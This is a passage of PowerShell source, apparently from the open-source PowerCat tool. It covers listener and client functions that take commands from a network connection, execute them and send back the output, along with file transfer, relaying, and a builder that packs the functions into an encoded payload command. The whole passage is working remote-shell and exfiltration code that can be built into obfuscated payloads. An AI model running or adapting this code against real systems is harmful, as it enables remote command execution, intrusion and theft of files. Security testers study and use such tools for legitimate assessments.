238 | if ($Global:Error.Count) { foreach ($Err in $Global:Error) { $BytesToSend += $EncodingType.GetBytes($Err.Exception.Message) } }
239 | }
240 | $BytesToSend += $EncodingType.GetBytes(("`nPS $((Get-Location).Path)> "))
241 | Write-NetworkStream $Mode $ServerStream $BytesToSend
242 | $ScriptBlock = $null
243 | $BytesToSend = $null
244 | }
245 | }
246 |
247 | [console]::TreatControlCAsInput = $true
248 |
249 | while ($true) {
250 | if ($PSCmdlet.ParameterSetName -eq 'SendFile') { break }
251 | if ($Disconnect.IsPresent) { break } # goto Cleanup
252 |
253 | # Catch Esc / Read-Host
254 | if ([console]::KeyAvailable) {
255 | $Key = [console]::ReadKey()
256 | if ($Key.Key -eq [Consolekey]::Escape) {
257 | Write-Verbose 'Caught escape sequence, stopping PowerCat.'
258 | break
259 | }
260 | if ($PSCmdlet.ParameterSetName -eq 'Console') {
261 | $BytesToSend = $EncodingType.GetBytes($Key.KeyChar + (Read-Host) + "`n")
262 | Write-NetworkStream $Mode $ServerStream $BytesToSend
263 | }
264 | }
265 |
266 | # Get data from the network
267 | if ($InitialBytes) { $ReceivedBytes = $InitialBytes ; $InitialBytes = $null }
268 | elseif ($ServerStream.Socket.Connected -or $ServerStream.Pipe.IsConnected) {
269 | if ($ServerStream.Read.IsCompleted) { $ReceivedBytes = Read-NetworkStream $Mode $ServerStream }
270 | else { Start-Sleep -Milliseconds 1 ; continue }
271 | }
272 | else { Write-Verbose "$Mode connection broken, exiting." ; break }
273 |
274 | # Redirect received bytes
275 | if ($PSCmdlet.ParameterSetName -eq 'Execute') {
276 | try { $ScriptBlock = [ScriptBlock]::Create($EncodingType.GetString($ReceivedBytes)) }
277 | catch { break } # network stream closed
278 |
279 | $Global:Error.Clear()
280 |
281 | $BytesToSend += $EncodingType.GetBytes(($ScriptBlock.Invoke() | Out-String))
282 | foreach ($Err in $Global:Error) { $BytesToSend += $EncodingType.GetBytes($Err.Exception.Message) }
283 | $BytesToSend += $EncodingType.GetBytes(("`nPS $((Get-Location).Path)> "))
284 |
285 | Write-NetworkStream $Mode $ServerStream $BytesToSend
286 | $BytesToSend = $null
287 | $ScriptBlock = $null
288 | continue
289 | }
290 | elseif ($PSCmdlet.ParameterSetName -eq 'Relay') { Write-NetworkStream $RelayMode $RelayStream $ReceivedBytes ; continue }
291 | elseif ($PSCmdlet.ParameterSetName -eq 'ReceiveFile') {
292 | try { $FileStream.Write($ReceivedBytes, 0, $ReceivedBytes.Length) }
293 | catch { break } # EOF reached
294 | continue
295 | }
296 | else { # Console
297 | try { Write-Host -NoNewline $EncodingType.GetString($ReceivedBytes).TrimEnd("`r") }
298 | catch { break } # network stream closed
299 | }
300 | }
301 |
302 | # Cleanup
303 | Write-Host "`n"
304 | if ($PSCmdlet.ParameterSetName -eq 'ReceiveFile') { $FileStream.Flush() ; $FileStream.Dispose() }
305 |
306 | try { Close-NetworkStream $Mode $ServerStream }
307 | catch { Write-Warning "Failed to close client stream. $($_.Exception.Message)" }
308 |
309 | if ($PSCmdlet.ParameterSetName -eq 'Relay') {
310 | try { Close-NetworkStream $RelayMode $RelayStream }
311 | catch { Write-Warning "Failed to close relay stream. $($_.Exception.Message)" }
312 | }
313 | [console]::TreatControlCAsInput = $false
314 | if (!$ParameterDictionary.KeepAlive.IsSet) { break }
315 | }
316 | }
317 | End {}
318 | '@
319 | $ConnectPowerCat = @'
320 | [CmdletBinding(DefaultParameterSetName = 'Console')]
321 | Param (
322 | [Parameter(Position = 0)]
323 | [Alias('m')]
324 | [ValidateSet('Smb', 'Tcp', 'Udp')]
325 | [String]$Mode = 'Tcp',
326 |
327 | [Parameter(Position = 1, Mandatory = $true)]
328 | [String]$RemoteIp,
329 |
330 | [Parameter(ParameterSetName = 'Execute')]
331 | [Alias('e')]
332 | [Switch]$Execute,
333 |
334 | [Parameter(ParameterSetName = 'Relay')]
335 | [Alias('r')]
336 | [String]$Relay,
337 |
338 | [Parameter(ParameterSetName = 'ReceiveFile')]
339 | [Alias('rf')]
340 | [String]$ReceiveFile,
341 |
342 | [Parameter(ParameterSetName = 'SendFile')]
343 | [Alias('sf')]
344 | [String]$SendFile,
345 |
346 | [Parameter(ParameterSetName = 'Input')]
347 | [Alias('i')]
348 | [String]$Input,
349 |
350 | [Parameter()]
351 | [Alias('d')]
352 | [Switch]$Disconnect,
353 |
354 | [Parameter()]
355 | [Alias('t')]
356 | [Int]$Timeout = 60,
357 |
358 | [Parameter()]
359 | [ValidateSet('Ascii','Unicode','UTF7','UTF8','UTF32')]
360 | [String]$Encoding = 'Ascii'
361 | )
362 | DynamicParam {
363 | $ParameterDictionary = New-Object Management.Automation.RuntimeDefinedParameterDictionary
364 |
365 | if ($Mode -eq 'Smb') { New-RuntimeParameter -Name PipeName -Type String -Mandatory -Position 2 -ParameterDictionary $ParameterDictionary }
366 | else { New-RuntimeParameter -Name Port -Type Int -Mandatory -Position 2 -ParameterDictionary $ParameterDictionary }
367 |
368 | if ($Mode -eq 'Tcp') { New-RuntimeParameter -Name SslCn -Type String -ParameterDictionary $ParameterDictionary }
369 |
370 | if ($Execute.IsPresent) {
371 | New-RuntimeParameter -Name ScriptBlock -Type ScriptBlock -ParameterDictionary $ParameterDictionary
372 | New-RuntimeParameter -Name ArgumentList -Type Object[] -ParameterDictionary $ParameterDictionary
373 | }
374 | return $ParameterDictionary
375 | }
376 | Begin {
377 | if ($RemoteIp -notmatch "^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$") {
378 | Write-Warning "$RemoteIp is not a valid IPv4 address."
379 | return
380 | }
381 | $ServerIp = [Net.IPAddress]::Parse($RemoteIp)
382 |
383 | switch ($Mode) {
384 | 'Smb' {
385 | try { $ClientStream = New-SmbStream $RemoteIp $ParameterDictionary.PipeName.Value $Timeout }
386 | catch { Write-Warning "Failed to open Smb stream. $($_.Exception.Message)" ; return }
387 | continue
388 | }
389 | 'Tcp' {
390 | try { $ClientStream = New-TcpStream $ServerIp $ParameterDictionary.Port.Value $ParameterDictionary.SslCn.Value $Timeout }
391 | catch { Write-Warning "Failed to open Tcp stream. $($_.Exception.Message)" ; return }
392 | continue
393 | }
394 | 'Udp' {
395 | try { $InitialBytes, $ClientStream = New-UdpStream $ServerIp $ParameterDictionary.Port.Value -TimeOut $Timeout }
396 | catch { Write-Warning "Failed to open Udp stream. $($_.Exception.Message)" ; return }
397 | }
398 | }
399 | switch ($Encoding) {
400 | 'Ascii' { $EncodingType = New-Object Text.AsciiEncoding ; continue }
401 | 'Unicode' { $EncodingType = New-Object Text.UnicodeEncoding ; continue }
402 | 'UTF7' { $EncodingType = New-Object Text.UTF7Encoding ; continue }
403 | 'UTF8' { $EncodingType = New-Object Text.UTF8Encoding ; continue }
404 | 'UTF32' { $EncodingType = New-Object Text.UTF32Encoding ; continue }
405 | }
406 |
407 | if ($PSCmdlet.ParameterSetName -eq 'Input') { Write-NetworkStream $Mode $ClientStream $EncodingType.GetBytes($Input) }
408 | elseif ($PSCmdlet.ParameterSetName -eq 'ReceiveFile') { $FileStream = New-Object IO.FileStream @($ReceiveFile, [IO.FileMode]::Append) }
409 | elseif ($PSCmdlet.ParameterSetName -eq 'SendFile') {
410 |
411 | Write-Verbose "Attempting to send $SendFile"
412 |
413 | if ((Test-Path $SendFile)) {
414 |
415 | try { $FileStream = New-Object IO.FileStream @($SendFile, [IO.FileMode]::Open) }
416 | catch { Write-Warning $_.Exception.Message }
417 |
418 | if ($BytesLeft = $FileStream.Length) { # goto cleanup
419 |
420 | $FileOffset = 0
421 | if ($BytesLeft -gt 4608) { # Max packet size for Ncat
422 |
423 | $BytesToSend = New-Object Byte[] 4608
424 |
425 | while ($BytesLeft -gt 4608) {
426 |
427 | [void]$FileStream.Seek($FileOffset, [IO.SeekOrigin]::Begin)
428 | [void]$FileStream.Read($BytesToSend, 0, 4608)
429 |
430 | $FileOffset += 4608
431 | $BytesLeft -= 4608
432 |
433 | Write-NetworkStream $Mode $ClientStream $BytesToSend
434 | }
435 | # Send last packet
436 | $BytesToSend = New-Object Byte[] $BytesLeft
437 | [void]$FileStream.Seek($FileOffset, [IO.SeekOrigin]::Begin)
438 | [void]$FileStream.Read($BytesToSend, 0, $BytesLeft)
439 |
440 | Write-NetworkStream $Mode $ClientStream $BytesToSend
441 | }
442 | else { # Only need to send one packet
443 | $BytesToSend = New-Object Byte[] $BytesLeft
444 | [void]$FileStream.Seek($FileOffset, [IO.SeekOrigin]::Begin)
445 | [void]$FileStream.Read($BytesToSend, 0, $BytesLeft)
446 |
447 | Write-NetworkStream $Mode $ClientStream $BytesToSend
448 | }
449 | $FileStream.Flush()
450 | $FileStream.Dispose()
451 | }
452 | if ($Mode -eq 'Smb') { $ClientStream.Pipe.WaitForPipeDrain() }
453 | if ($Mode -eq 'Tcp') { sleep 1 }
454 | }
455 | else { Write-Warning "$SendFile does not exist." }
456 | }
457 | elseif ($PSCmdlet.ParameterSetName -eq 'Relay') {
458 |
459 | Write-Verbose "Setting up relay stream..."
460 |
461 | $RelayConfig = $Relay.Split(':')
462 | $RelayMode = $RelayConfig[0].ToLower()
463 |
464 | if ($RelayConfig.Count -eq 2) { # Listener
465 | switch ($RelayMode) {
466 | 'smb' { $RelayStream = New-SmbStream -Listener $RelayConfig[1] ; continue }
467 | 'tcp' { $RelayStream = New-TcpStream -Listener $RelayConfig[1] ; continue }
468 | 'udp' { $RelayStream = New-UdpStream -Listener $RelayConfig[1] ; continue }
469 | default { Write-Warning 'Invalid relay mode specified.' ; return }
470 | }
471 | }
472 | elseif ($RelayConfig.Count -eq 3) { # Client
473 | if ($RelayConfig[1] -match "^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$") {
474 | $ServerIp = [Net.IPAddress]::Parse($RelayConfig[1])
475 | switch ($RelayMode) {
476 | 'smb' { $RelayStream = New-SmbStream $RelayConfig[1] $RelayConfig[2] ; continue }
477 | 'tcp' { $RelayStream = New-TcpStream $ServerIp $RelayConfig[2] ; continue }
478 | 'udp' { $RelayStream = New-UdpStream $ServerIp $RelayConfig[2] ; continue }
479 | default { Write-Warning 'Invalid relay mode specified.' ; return }
480 | }
481 | }
482 | else { Write-Warning "$($RelayConfig[1]) is not a valid IPv4 address." }
483 | }
484 | else { Write-Warning 'Invalid relay format.' }
485 | }
486 | elseif ($PSCmdlet.ParameterSetName -eq 'Execute') {
487 | if ($ClientStream) {
488 | $BytesToSend = $EncodingType.GetBytes("`nPowerCat by @secabstraction`n")
489 |
490 | if ($ParameterDictionary.ScriptBlock.Value) {
491 |
492 | $ScriptBlock = $ParameterDictionary.ScriptBlock.Value
493 |
494 | $Global:Error.Clear()
495 |
496 | $BytesToSend += $EncodingType.GetBytes(($ScriptBlock.Invoke($ParameterDictionary.ArgumentList.Value) | Out-String))
497 | if ($Global:Error.Count) { foreach ($Err in $Global:Error) { $BytesToSend += $EncodingType.GetBytes($Err.Exception.Message) } }
498 | }
499 | $BytesToSend += $EncodingType.GetBytes(("`nPS $((Get-Location).Path)> "))
500 | Write-NetworkStream $Mode $ClientStream $BytesToSend
501 | $ScriptBlock = $null
502 | $BytesToSend = $null
503 | }
504 | }
505 | }
506 | Process {
507 | [console]::TreatControlCAsInput = $true
508 |
509 | while ($true) {
510 |
511 | if ($PSCmdlet.ParameterSetName -eq 'SendFile' -or $Disconnect.IsPresent) { break } # Skip to Cleanup
512 |
513 | # Catch Esc / Read-Host
514 | if ([console]::KeyAvailable) {
515 | $Key = [console]::ReadKey()
516 | if ($Key.Key -eq [Consolekey]::Escape) {
517 | Write-Verbose 'Caught escape sequence, stopping PowerCat.'
518 | break
519 | }
520 | if ($PSCmdlet.ParameterSetName -eq 'Console') {
521 | $BytesToSend = $EncodingType.GetBytes($Key.KeyChar + (Read-Host) + "`n")
522 | Write-NetworkStream $Mode $ClientStream $BytesToSend
523 | }
524 | }
525 |
526 | # Get data from the network
527 | if ($InitialBytes) { $ReceivedBytes = $InitialBytes ; $InitialBytes = $null }
528 | elseif ($ClientStream.Socket.Connected -or $ClientStream.Pipe.IsConnected) {
529 | if ($ClientStream.Read.IsCompleted) { $ReceivedBytes = Read-NetworkStream $Mode $ClientStream }
530 | else { Start-Sleep -Milliseconds 1 ; continue }
531 | }
532 | else { Write-Verbose "$Mode connection broken, exiting." ; break }
533 |
534 | # Redirect received bytes
535 | if ($PSCmdlet.ParameterSetName -eq 'Execute') {
536 |
537 | try { $ScriptBlock = [ScriptBlock]::Create($EncodingType.GetString($ReceivedBytes)) }
538 | catch { break } # network stream closed
539 |
540 | $Global:Error.Clear()
541 |
542 | $BytesToSend += $EncodingType.GetBytes(($ScriptBlock.Invoke() | Out-String))
543 | foreach ($Err in $Global:Error) { $BytesToSend += $EncodingType.GetBytes($Err.Exception.Message) }
544 | $BytesToSend += $EncodingType.GetBytes(("`nPS $((Get-Location).Path)> "))
545 |
546 | Write-NetworkStream $Mode $ClientStream $BytesToSend
547 | $BytesToSend = $null
548 | $ScriptBlock = $null
549 | continue
550 | }
551 | elseif ($PSCmdlet.ParameterSetName -eq 'Relay') { Write-NetworkStream $RelayMode $RelayStream $ReceivedBytes ; continue }
552 | elseif ($PSCmdlet.ParameterSetName -eq 'ReceiveFile') {
553 | try { $FileStream.Write($ReceivedBytes, 0, $ReceivedBytes.Length) }
554 | catch { break } # EOF reached
555 | continue
556 | }
557 | else { # Console
558 | try { Write-Host -NoNewline $EncodingType.GetString($ReceivedBytes).TrimEnd("`r") }
559 | catch { break } # network stream closed
560 | }
561 | }
562 | }
563 | End { # Cleanup
564 | Write-Host "`n"
565 |
566 | if ($PSCmdlet.ParameterSetName -eq 'ReceiveFile') { $FileStream.Flush() ; $FileStream.Dispose() }
567 |
568 | try { Close-NetworkStream $Mode $ClientStream }
569 | catch { Write-Warning "Failed to close client stream. $($_.Exception.Message)" }
570 |
571 | if ($PSCmdlet.ParameterSetName -eq 'Relay') {
572 | try { Close-NetworkStream $RelayMode $RelayStream }
573 | catch { Write-Warning "Failed to close relay stream. $($_.Exception.Message)" }
574 | }
575 | [console]::TreatControlCAsInput = $false
576 | }
577 | '@
578 | $PayloadString = 'function New-RuntimeParameter {' + ${function:New-RuntimeParameter} + '}'
579 | $PayloadString += 'function Test-Port {' + ${function:Test-Port} + '}'
580 | if ($ParameterDictionary.SslCn.Value) { $PayloadString += 'function New-X509Certificate {' + ${function:New-X509Certificate} + '}' }
581 | switch ($Mode) {
582 | 'Smb' { $PayloadString += 'function New-SmbStream {' + ${function:New-SmbStream} + '}' }
583 | 'Tcp' { $PayloadString += 'function New-TcpStream {' + ${function:New-TcpStream} + '}' }
584 | 'Udp' { $PayloadString += 'function New-UdpStream {' + ${function:New-UdpStream} + '}' }
585 | }
586 | $PayloadString += 'function Write-NetworkStream {' + ${function:Write-NetworkStream} + '}'
587 | $PayloadString += 'function Read-NetworkStream {' + ${function:Read-NetworkStream} + '}'
588 | $PayloadString += 'function Close-NetworkStream {' + ${function:Close-NetworkStream} + '}'
589 | if ($Listener.IsPresent) {
590 | $PayloadString += 'function Start-PowerCat {' + $StartPowerCat + "}`n"
591 | $PayloadString += "Start-PowerCat $Mode $($ParameterDictionary.Port.Value) $($ParameterDictionary.PipeName.Value)"
592 | }
593 | else {
594 | $PayloadString += 'function Connect-PowerCat {' + $ConnectPowerCat + "}`n"
595 | $PayloadString += "Connect-PowerCat $Mode $($ParameterDictionary.RemoteIp.Value) $($ParameterDictionary.Port.Value) $($ParameterDictionary.PipeName.Value)"
596 | }
597 | }
598 | Process {
599 | if ($PSCmdlet.ParameterSetName -eq 'Execute') {
600 | $PayloadString += ' -Execute'
601 | if ($ParameterDictionary.ScriptBlock.Value) { $PayloadString += " -ScriptBlock $($ParameterDictionary.ScriptBlock.Value)" }
602 | if ($ParameterDictionary.ArgumentList.Value) { $PayloadString += " -ArgumentList $($ParameterDictionary.ArgumentList.Value)" }
603 | }
604 | elseif ($PSCmdlet.ParameterSetName -eq 'Relay') { $PayloadString += " -Relay $Relay" }
605 | elseif ($PSCmdlet.ParameterSetName -eq 'SendFile') { $PayloadString += " -SendFile $SendFile" }
606 | elseif ($PSCmdlet.ParameterSetName -eq 'ReceiveFile') { $PayloadString += " -ReceiveFile $ReceiveFile" }
607 | if ($ParameterDictionary.KeepAlive.IsSet) { $PayloadString += ' -KeepAlive' }
608 | elseif ($Disconnect.IsPresent) { $PayloadString += ' -Disconnect' }
609 | if ($PSBoundParameters.Timeout) { $PayloadString += " -Timeout $Timeout" }
610 | if ($PSBoundParameters.Encoding) { $PayloadString += " -Encoding $Encoding" }
611 | if ($ParameterDictionary.SslCn.Value) { $PayloadString += " -SslCn $($ParameterDictionary.SslCn.Value)" }
612 |
613 | $ScriptBlock = [ScriptBlock]::Create($PayloadString)
614 |
615 | Out-EncodedCommand -NoProfile -NonInteractive -ScriptBlock $ScriptBlock
616 | }
617 | End {}
618 | }
619 |
--------------------------------------------------------------------------------